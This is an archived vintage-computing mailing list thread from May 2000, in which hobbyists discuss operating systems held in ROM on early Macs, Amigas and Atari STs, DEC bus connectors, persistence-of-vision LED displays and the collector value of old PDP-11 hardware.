MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). >> > > The Mac OS has never been fully contained in ROM. Starting with the Lisa in > 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI > program routines (the Macintosh ToolKit). These machines still had to boot a > floppy which made calls to the ROM. Although this is true in a practical sense (especially because of the growth of the OS), there is one exception I know of. On the original Mac Classic, holding down Cmd-Option-X-O (the letter O) at boot time loads a small version of the OS entirely from a disk image in ROM. (You can "Get Info" on the disk and see an amusing note.) It may be System 6.0.2 or I could be imagining that. The new machines, on the other hand, load the "ROM" from disk and then write protect the memory. Talk about going in the other direction... -- Derek From xds_sigma7 at hotmail.com Tue May 9 01:45:37 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses Message-ID: <20000509064537.94590.qmail@hotmail.com> Chuck, Of course, you can always point out that with the DEC stuff, the unibus, omnibus, posibus, negibus, and qbus all use the same connectors... realllly different electrical signals but still the same connectors... quite handy.. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From dpeschel at eskimo.com Tue May 9 11:15:28 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:3 Message-ID: David Greelish wrote: > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > Napalm' Conner" writes: > > << Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. (snip snip) Although this is true in a practical sense (especially because of the growth of the OS), there is one exception I know of. On the original Mac Classic, holding down Cmd-Option-X-O (the letter O) at boot time loads a small version of the OS entirely from a disk image in ROM. (You can "Get Info" on the disk and see an amusing note.) It may be System 6.0.2 or I could be imagining that. The new machines, on the other hand, load the "ROM" from disk and then write protect the memory. Talk about going in the other direction... Just like the original Amiga circa 1985, which loaded Kickstart off of disk into write once protected RAM. Why?? Because the ROM code had not yet been finalized when the computer was put on the market. Another fine example of how marketing guys try to BS electrons . . . Gary Hildebrand -- Derek From allisonp at world.std.com Tue May 9 07:29:27 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: > When asked once why I prefer the Q-bus 11's and Vaxen my answer is > always because I can get lots of I/O to do neat things for those busses. > (I'm writing a program for the PDP-8 to control an LED sign using a > couple of 12bit parallel i/o cards. ) Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to control a graphic scoreboard. > be no slots. I thought that the bus was dead until I realized that USB > has the same bandwidth as Q-bus and FireWire has much better bandwidth. > So presumably we'll see some interesting I/O devices that use these > busses in the future. As the speed of the bus increases and the ability to contain the bus interface in fewer chips increases the number of wires needed tends to go down. Obviously two wires are easier to handle, terminate and connect than 100. What also occurs is the simpler the bus the more sophisticated the bus interface required, higher levels of integration feed that. It's evolotionary. Think of USB and firewire as network buses and the devices to connect them to things like printers and disks as "bridges". Still, some buses will be hard fo the hobbiest to deal with due to the specialzed logic needed. Allison From allisonp at world.std.com Tue May 9 07:34:14 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: Message-ID: > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. > > Another fine example of how marketing guys try to BS electrons . . . Also for many years to recently most "roms" were slower than the system so moving the rom code to ram was a way to attain speed for rommed code. This became critical when the 486/33 and faster machines came about. It's handy too as overlays for bug fixes or additional drivers are possible as well. Allison From Hans.Franke at mch20.sbs.de Tue May 9 09:46:47 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: References: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:3 Message-ID: <200005091247.e49CldL15466@mail2.siemens.de> > > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > > Napalm' Conner" writes: > > > > << Again, to bring this back on topic, there have been plenty > > of operating systems distributed in ROM---AmigaOS, QNX, OS-9 > > and the original MacOS were all contained in ROM, were/are > > ROMmable and extensible. (snip snip) > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. > Another fine example of how marketing guys try to BS electrons . . . Well, exactly the same happened to the _very_ first Atari STs. The ROM contained only a boot loader and the TOS/GEM had to be loaded from Disk. In fact this is also the reason why the RAM got doubbled (by piggy pack chips) from 256K to 512K for the 260 and 512K to 1 Meg on the 520, corrupting the naming scheme. This phase did last only about 3 Month, so a boot ROM ST is quite a collectabe thing, especialy since most got updated. Servus Hans -- VCF Europa am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jfoust at threedee.com Tue May 9 08:37:50 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: References: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: <4.3.0.20000509083602.01915ac0@pc> At 08:29 AM 5/9/00 -0400, allisonp@world.std.com wrote: >Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to >control a graphic scoreboard. What's the name of those signs that are composed of nothing but a single vertical column of LEDs, where you can only see the image (or the digital clock display, etc.) as your eye scans across it, leaving the multiplexed image in your brain? - John From marvin at rain.org Tue May 9 10:06:06 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) References: <3917861C.A1D9E3BE@mcmanis.com> <4.3.0.20000509083602.01915ac0@pc> Message-ID: <3918295E.44B458FD@rain.org> John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. From jfoust at threedee.com Tue May 9 10:37:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> References: <3917861C.A1D9E3BE@mcmanis.com> <4.3.0.20000509083602.01915ac0@pc> Message-ID: <4.3.0.20000509102413.01af7140@pc> At 08:06 AM 5/9/00 -0700, Marvin wrote: > With the multi-colored and higher intensity LEDs >available today, it would be really cool to do the same thing but with color >pictures. Doesn't sound like too hard a project especially with the speed of >todays computers. I was thinking along the same lines. It would be a nifty consumer product, but it would be quickly cloned by other manufacturers, I suspect. I would think a PC's parallel port would be capable of driving the data at a suitable rate and cost. - John From jfoust at threedee.com Tue May 9 10:42:39 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:36 2005 Subject: RL02 cart on eBay Message-ID: <4.3.0.20000509104206.01af7c30@pc> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=328480021 - John From RCini at congressfinancial.com Tue May 9 10:43:01 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) Message-ID: <497A9E0467D2D2119B760090271EB8E50E90DD@MAIL10> There was a project just for this in Electronics Now or Popular Electronics just recently. I'd say Feb. or March issue. If I have time tonight, I'll dig-up the article. As I recall, it uses a PIC and a group of LEDs on a pendulum to provide the date and time using the same "persistence of vision" as mentioned below. I don't recall if the swinging was user-invoked, motorized or magnetic. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Marvin [mailto:marvin@rain.org] Sent: Tuesday, May 09, 2000 11:06 AM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) John Foust wrote: > > What's the name of those signs that are composed of nothing but > a single vertical column of LEDs, where you can only see the > image (or the digital clock display, etc.) as your eye scans > across it, leaving the multiplexed image in your brain? I can't recall either, but that brings to mind an interesting project a friend of mine worked on quite a few years ago. The Art Museum here was having some kind of show and an artist wanted to paint electronic pictures. My friend designed the electronics (I built the circuit boards) to put a line of LEDs on a pendulum and paint pictures electronically as the pendulum swung through its arc. With the multi-colored and higher intensity LEDs available today, it would be really cool to do the same thing but with color pictures. Doesn't sound like too hard a project especially with the speed of todays computers. From mgregory at vantageresearch.com Tue May 9 10:48:05 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 Message-ID: <001901bfb9cd$f9f6d280$0200a8c0@marvin> -----Original Message----- > >Just like the original Amiga circa 1985, which loaded Kickstart off of disk >into write once protected RAM. Why?? Because the ROM code had not yet been >finalized when the computer was put on the market. > >Another fine example of how marketing guys try to BS electrons . . . > >Gary Hildebrand > And the A3000 when first released, which resurrected the Kickstart disk a second time. Actually, I thought that soft-kickable Amigas were great; the A1000 and A3000 could both use a wider variety of OS versions with less fuss than those where the Kickstart was entirely in ROM. And once you put the softkick on a bootable HD, it didn't slow down the boot sequence that much. Great if you occasionally needed to boot 1.3 to run an older game. Even the Amigas with Kickstart in ROM could be soft-kicked if necessary. I ran an A2000 with a 1.3 ROM that soft-kicked to a 2.0 ROM image, so I could run OS 2.0 when it was first released. Those were happy days! Mark. From transit at lerctr.org Tue May 9 10:51:59 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> Message-ID: On Tue, 9 May 2000, Marvin wrote: > > > John Foust wrote: > > > > What's the name of those signs that are composed of nothing but > > a single vertical column of LEDs, where you can only see the > > image (or the digital clock display, etc.) as your eye scans > > across it, leaving the multiplexed image in your brain? > > I can't recall either, but that brings to mind an interesting project a > friend of mine worked on quite a few years ago. The Art Museum here was > having some kind of show and an artist wanted to paint electronic pictures. > My friend designed the electronics (I built the circuit boards) to put a > line of LEDs on a pendulum and paint pictures electronically as the pendulum > swung through its arc. With the multi-colored and higher intensity LEDs > available today, it would be really cool to do the same thing but with color > pictures. Doesn't sound like too hard a project especially with the speed of > todays computers. > Go to Union Station in Downtown LA. There's a display consisting of eight to ten columns of LEDs (each column being about 3-4 feet high and actually consisting of a combination of red, blue and green (sound familiar) LEDs) If you look at it dead on, it just looks like blinking lights. But if you sweep your eyes across it, you'll see pictures of trains, traffic, celebrities, etc. This is near the "Patsouras Transit Plaza/Vignes" exit of the Metro Red Line subway. From Hans.Franke at mch20.sbs.de Tue May 9 13:02:59 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <4.3.0.20000509102413.01af7140@pc> References: <3918295E.44B458FD@rain.org> Message-ID: <200005091603.e49G3qg04036@mail2.siemens.de> > At 08:06 AM 5/9/00 -0700, Marvin wrote: > > With the multi-colored and higher intensity LEDs > >available today, it would be really cool to do the same thing but with color > >pictures. Doesn't sound like too hard a project especially with the speed of > >todays computers. > I was thinking along the same lines. It would be a nifty consumer > product, but it would be quickly cloned by other manufacturers, > I suspect. I would think a PC's parallel port would be capable > of driving the data at a suitable rate and cost. Four things: a) Computer Speed has never been a problem (at least not within the last 20 years) b) Colour _is_ a problem, since the colour sensivity of the human eye isn't exactly great. c) Moving pictures are way harder to produce d) And most important the mechanical parts are the challenge. If you like to get an accaptable detailed picture, like, let's say a colour TV (up to 200 lines (aka ~400x400 pixles)) the simple setup is gone, since you have to swing the mechanism with a continous speed of at least 20 passings per second in front of a non disturbing background. Beside all mechanical problems, the most simple solution would be a propeller like device, where you either only use a rectangular display area (2x1) in the upper rotation area, or a square area all over. This adds some drawbacks: You have to calculate all x/y pairs to a circular position with _different_ on/of timing according to the position, while still producing circular artefacts (in contrast to linear artefacts, as with TVs or simple horizontal moving devices, circular are _very_ disturbing). Beside that you ma produce a noticable noise: 2 wings (to halve the needed speed, while still maintain a low storage profile (not to speek of better balance)) moving at 10 rounds per second (20 passings for each location per second) with a diameter of 1m (giving a visible area of .7m x .7m) produce a speed of 113 km/h at the end of each rod - quite notable. The only advantage of this would be a way less complicates mechanical design (no fast acceleration on bothe ends of the movement needed). Anyway, this technology will never take of. The only version with a possible use is if you mount the LEDs on a helix like curve to produce real 3D pictures - but again, a Laser and a semitransparent full helix is more aprobiate. These swinging displays are dammed to stay at low res (almost) static display levels. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jpl15 at netcom.com Tue May 9 11:17:28 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:51:36 2005 Subject: OFF TOPIC: Cool Hack Message-ID: I might as well slither onto the OT Bandwagon... I submitted a design some years back (which was shelved... snif snif) for an array of LEDs to be affixed to the blades of a typical ceiling fan. These would get thier power and signals from induction coils on the frame of said fan, and would provide kewl displays as the fan turned (in the dark especially). I made a single-array prototype... it worked fine. The company just didn't market it... o well. ON TOPIC: I also went to VCFE (I guess Sellam forgot that part... ) and took several dozen pictures. I am uploading them to Hans Franke, and he will put them on the Website for public viewing. Kudos and Hats Off to Hans, Sellam, Phillip Belben, John Zabolitski, and all the others who worked thier _____es off to make it a success. Cheers John From dylanb at sympatico.ca Tue May 9 13:59:57 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:36 2005 Subject: value of RK05 References: Message-ID: <001901bfb9e8$c55fbbc0$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Saturday, May 06, 2000 1:53 PM Subject: Re: value of RK05 > > I base the price on *alot* more than one sale. Ie: 3 PDP-11/35s for $6-7K > > minimum.I don't think you want to know what Classic-11s (pre 11/20) sell > > Err, and just what _production_ PDP11s are pre-11/20?? > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo the differences - most had to do with the UNIBUS.. but there was some changes to the datapaths as well. > > I said the RL01s were worthless to collectors. Price is of course based on > > rarity. I think *every* PDP-11/34 was shipped with RL01s ;-) > > Not always, at least not to non-collectors. > > Sometimes, price is based on utility. People will pay a lot for something > they really need, especially if it's for real work. I know of people > who've got serious money for things like IBM MDA monitors, simply because > they were needed for some expensive instrument that happened to have an > MDA output and where you can't simply drop in a different video card. > > -tony > > From foo at siconic.com Tue May 9 11:30:53 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:36 2005 Subject: VCF musings... In-Reply-To: Message-ID: [posting from a junk account on my server...] On Tue, 9 May 2000, John Lawson wrote: > ON TOPIC: I also went to VCFE (I guess Sellam forgot that > part... ) and took several dozen pictures. I am uploading them to > Hans Franke, and he will put them on the Website for public > viewing. Sorry, after 7 brain numbing days with Hans I forgot a lot of stuff ;) > Kudos and Hats Off to Hans, Sellam, Phillip Belben, John > Zabolitski, and all the others who worked thier _____es off to make > it a success. Most of the thanks goes to Hans for pulling it off. And yes, thank you too, John. You were the best SchlepWalla of them all! ;) Sellam From pechter at pechter.dyndns.org Tue May 9 13:03:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: from "allisonp@world.std.com" at "May 9, 2000 08:29:27 am" Message-ID: <200005091803.OAA07531@bg-tc-ppp515.monmouth.com> > As the speed of the bus increases and the ability to contain the bus > interface in fewer chips increases the number of wires needed tends to go > down. Obviously two wires are easier to handle, terminate and connect > than 100. What also occurs is the simpler the bus the more sophisticated > the bus interface required, higher levels of integration feed that. It's > evolotionary. Think of USB and firewire as network buses and the devices > to connect them to things like printers and disks as "bridges". > > Still, some buses will be hard fo the hobbiest to deal with due to the > specialzed logic needed. > > Allison Perhaps Firewire's a distant decendant of the DEC CI780 and HSC50 disk interface SDI cable. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From eric at brouhaha.com Tue May 9 13:39:18 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> (Historical@aol.com) References: <66.36e59e5.2648bcbe@aol.com> Message-ID: <20000509183918.13225.qmail@brouhaha.com> David Greelish wrote: > The Mac OS has never been fully contained in ROM. Starting with the Lisa in > 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI > program routines (the Macintosh ToolKit). These machines still had to boot a > floppy which made calls to the ROM. The Lisa only had 16K of ROM, which did NOT contain anything but a bootstrap loader and diagnostics. The Lisa operating system and applications did not make any calls into the ROM, with the possible exception of one function to set MMU registers. Macintosh software certainly did not make any calls to the Lisa ROM, even on Lisas that were sold under the name "Macintosh XL". In the original Macintosh (64K ROM, 128K RAM), the OS was *almost* entirely contained in ROM. The System file primarily contained fonts, desk accessories, defprocs, and bug fixes. It was in fact possible to write Macintosh applications that could be booted directly with no System file, yet take full advantage of the Macintosh "OS". The Macintosh OS has gone through multiple cycles of adding large chunks of new functionality to the System file, then moving those pieces into ROM. Unfortunately when the code gets moved into ROM, it doesn't usually get removed from the System file, because it still is needed for older Macs since Apple typically does not offer ROM upgrades. With System 7.5 (or was it 7.1), the size of the System file was getting sufficiently out of hand that Apple moved a lot of platform- specific code into "System Enablers". Nowdays Macs don't have *any* of the OS in ROM; they use the OpenBoot firmware to load the entire OS from disk. From eric at brouhaha.com Tue May 9 13:43:08 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: <3917861C.A1D9E3BE@mcmanis.com> (message from Chuck McManis on Mon, 08 May 2000 20:29:32 -0700) References: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: <20000509184308.13248.qmail@brouhaha.com> Chuck wrote: > But the trend in PC's has gone to fewer and fewer "slots" and soon will > be no slots. I thought that the bus was dead until I realized that USB > has the same bandwidth as Q-bus and FireWire has much better bandwidth. > So presumably we'll see some interesting I/O devices that use these > busses in the future. Yes, Apple's "virtual slot" idea that they used to justify the "closed" Macintosh is finally becoming practical, albeit about 16 years later than they intended. Better late than never! :-) From eric at brouhaha.com Tue May 9 13:46:41 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: <20000509064537.94590.qmail@hotmail.com> (xds_sigma7@hotmail.com) References: <20000509064537.94590.qmail@hotmail.com> Message-ID: <20000509184641.13284.qmail@brouhaha.com> "Will Jennings" wrote: > Of course, you can always point out that with the DEC stuff, the unibus, > omnibus, posibus, negibus, and qbus all use the same connectors... realllly > different electrical signals but still the same connectors... quite handy.. Handy? Except for the rare cards that plug into either Unibus or Qbus (e.g., FPF11), I've never noticed it to be particularly handy. Although I haven't managed to do it myself (yet), I imagine that anyone who has damaged DEC boards by plugging them into the wrong bus might dispute that this is handy. Using the same connectors is OK, but they should have keyed them. For instance, PCI has keying for 5V and 3.3V cards. If you make a card that can support either, you put both slots in it. The same thing could have easily (and cheaply) been done for Omnibus, Unibus, MUD, SPC, and Qbus. Oh well. From eric at brouhaha.com Tue May 9 13:50:33 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: (allisonp@world.std.com) References: Message-ID: <20000509185033.13329.qmail@brouhaha.com> Allison wrote: > Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to > control a graphic scoreboard. I suspect a lot of them did. In 1983, Johnson County Community College in Overland Park, Kansas received a donation of a PDP-8/e system with third-party RK05 clones, which had been retired from running the scoreboard at one of the stadiums across the border in Missouri. I was tasked with trying to figure out some practical use for the machine. None of my proposals were accepted; admittedly they weren't really very practical, since by that time microcomputers were much more suited to most educational needs. The machine was apparently scrapped. :-( From wilson at dbit.dbit.com Tue May 9 13:59:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: ; from dpeschel@eskimo.com on Tue, May 09, 2000 at 10:15:28AM -0600 References: <66.36e59e5.2648bcbe@aol.com> Message-ID: <20000509145930.A9255@dbit.dbit.com> On Tue, May 09, 2000 at 10:15:28AM -0600, Derek Peschel wrote: > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. IIRC, the documentation consistantly referred to it as "ROM" even though that was actually true on 0% of the machines shipping at the time. Then again, unless I'm confusing it with the C64, the manuals consistantly misspelled "kernel" so they were obviously pretty sloppy (unless they meant it as an acronym for something). So we always talked about making calls to the "kern-AL". Geez, remember the scam that Commodore pulled with the programming documentation? It wasn't ready at the time the machines finally shipped, and when they eventually did get the docs together, they decided that they would ship the first printing only to suckers who paid lots extra to be certified Amiga developers, or some such BS. Regular folks who had already paid for the documentation had to wait *months* before they actually received it. John Wilson D Bit From xds_sigma7 at hotmail.com Tue May 9 14:48:21 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses Message-ID: <20000509194821.39045.qmail@hotmail.com> Oops, I should have made it clear that I was speaking only about WIREWRAP boards! I did not mean to imply in any way whatsoever that you could put unibus boards in say a negibus backplane, unless you like the smell of burnt circuitry.. that was also the reason for my note about their electrical signals being totally different, i.e. that unibus boards might have the same connectors as qbus boards, but they are electrically different... Dear lord I hope nobody cooked anything by mistake!!! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Tue May 9 13:43:28 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <200005091603.e49G3qg04036@mail2.siemens.de> References: <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> Message-ID: Haven't you all seen the little dooky that clips to your glasses and sits about 3 inches in front? Its a commercial product "around" $100 and uses a linear arrary of LEDs and a rotating mirror to give a full SVGA display that seems to "float" about 8 inches in front of you. Last time I saw them at WCES they were working on a high definition TV eyepiece, and the quality was very good. From mrbill at mrbill.net Tue May 9 15:20:36 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: ; from mikeford@socal.rr.com on Tue, May 09, 2000 at 11:43:28AM -0700 References: <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> <200005091603.e49G3qg04036@mail2.siemens.de> Message-ID: <20000509152036.S29395@mrbill.net> On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: > Haven't you all seen the little dooky that clips to your glasses and sits > about 3 inches in front? Its a commercial product "around" $100 and uses a > linear arrary of LEDs and a rotating mirror to give a full SVGA display > that seems to "float" about 8 inches in front of you. Last time I saw them > at WCES they were working on a high definition TV eyepiece, and the quality > was very good. I'd like to know where the heck to get one of these for "around" $100. I'll whip out my card and buy one RIGHT NOW. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From yakowenk at cs.unc.edu Tue May 9 15:26:21 2000 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:51:36 2005 Subject: HP86 Message-ID: <200005092026.QAA19723@swordfin.cs.unc.edu> Hey all, I have a line on an HP-86 up for grabs in California, about 90 miles north of Sacramento: ] HP-86 with manuals, monitor, two disc drives, memory modules, matrix ] manipulation hardware (never used), etc. I have not taken a complete ] inventory of what is there. Would be happy to GIVE it to anyone that ] has an interest. Let me know if you're interested, and I'll pass the word on. Cheers, Bill. From John.Allain at donnelley.infousa.com Tue May 9 15:26:55 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: <200005091803.OAA07531@bg-tc-ppp515.monmouth.com> Message-ID: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> Could someone help my recollecting. What's an SDI & are these correct? John A. Bill said > ...a distant decendant of the DEC CI780 and HSC50 > disk interface SDI cable. CI780 =? Cluster Interconnect ?? HSC50 =? Heirarchic Storage Controller ?? SDI =? No Freakin' Clue. ??? Help! From John.Allain at donnelley.infousa.com Tue May 9 15:44:20 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:36 2005 Subject: OT: Cool hack (Glasses vs no 'Tube') In-Reply-To: <20000509152036.S29395@mrbill.net> Message-ID: <000301bfb9f7$5abe60f0$0e0301ac@dba00802.databaseamerica.com> AFAIR it was called a "Private Eye" and a quick search revealed this find: http://www.japanentry.com/reflection.html -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Bill Bradford Sent: Tuesday, May 09, 2000 4:21 PM To: classiccmp@classiccmp.org Subject: Re: Cool hack (was Busses vs no busses) On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: > Haven't you all seen the little dooky that clips to your glasses and sits > about 3 inches in front? Its a commercial product "around" $100 and uses a > linear arrary of LEDs and a rotating mirror to give a full SVGA display > that seems to "float" about 8 inches in front of you. Last time I saw them > at WCES they were working on a high definition TV eyepiece, and the quality > was very good. I'd like to know where the heck to get one of these for "around" $100. I'll whip out my card and buy one RIGHT NOW. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From richard at idcomm.com Tue May 9 15:44:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) References: <3917861C.A1D9E3BE@mcmanis.com><4.3.0.20000509083602.01915ac0@pc> <4.3.0.20000509102413.01af7140@pc> Message-ID: <004701bfb9f7$53397b80$0400c0a8@winbook> ----- Original Message ----- From: John Foust To: Sent: Tuesday, May 09, 2000 9:37 AM Subject: Re: Cool hack (was Busses vs no busses) > At 08:06 AM 5/9/00 -0700, Marvin wrote: > > With the multi-colored and higher intensity LEDs > I suspect. I would think a PC's parallel port would be capable > of driving the data at a suitable rate and cost. In EPP mode, widely published to be readily capable of achieving speeds comparable with the ISA bus, it should be VERY possible. With the associated 8-bit address and 8-bit data bus, it should be quite straightforward. If you want, you can build a recircuilating FIFO that coughs up the data ata a rate synchronized with your rep-rate. Then you play with the rep-rate until you're happy with what you've got. You can compensate for low mechanical performance by using two or four wands if you don't like what you get on just one. Dick From ard at p850ug1.demon.co.uk Tue May 9 15:10:01 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:36 2005 Subject: value of RK05 In-Reply-To: <001901bfb9e8$c55fbbc0$fd83fea9@office> from "johnb" at May 9, 0 02:59:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 969 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000509/2cb9a53c/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 9 16:11:55 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses In-Reply-To: <20000509184641.13284.qmail@brouhaha.com> from "Eric Smith" at May 9, 0 06:46:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1178 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000509/34ddaaa6/attachment.ksh From CLASSICCMP at trailing-edge.com Tue May 9 16:37:06 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:36 2005 Subject: value of RK05 Message-ID: <000509173706.2020b7a8@trailing-edge.com> >> > >> > Err, and just what _production_ PDP11s are pre-11/20?? >> > >> >> Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* >> different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo >> the differences - most had to do with the UNIBUS.. but there was some >> changes to the datapaths as well. >Ah, so they're not really production machines... > >As a user/repairer (as opposed to a collector), my views on prototype >machines and their value is perhaps a little different to others. You also have to keep in mind who the owner is and how much he wants to inflate the value of his equipment. I think it's been conclusively shown that there are at least some members of this list who are very good salesmen (perhaps PT Barnum style), and some others who aren't so good. Q: What's the difference between a computer dealer and a car dealer? A: The car dealer knows when he's lying. Tim. From dylanb at sympatico.ca Tue May 9 18:35:23 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:36 2005 Subject: value of RK05 References: Message-ID: <004e01bfba0f$3fb89380$fd83fea9@office> > > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* > > different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo > > the differences - most had to do with the UNIBUS.. but there was some > > changes to the datapaths as well. > > Ah, so they're not really production 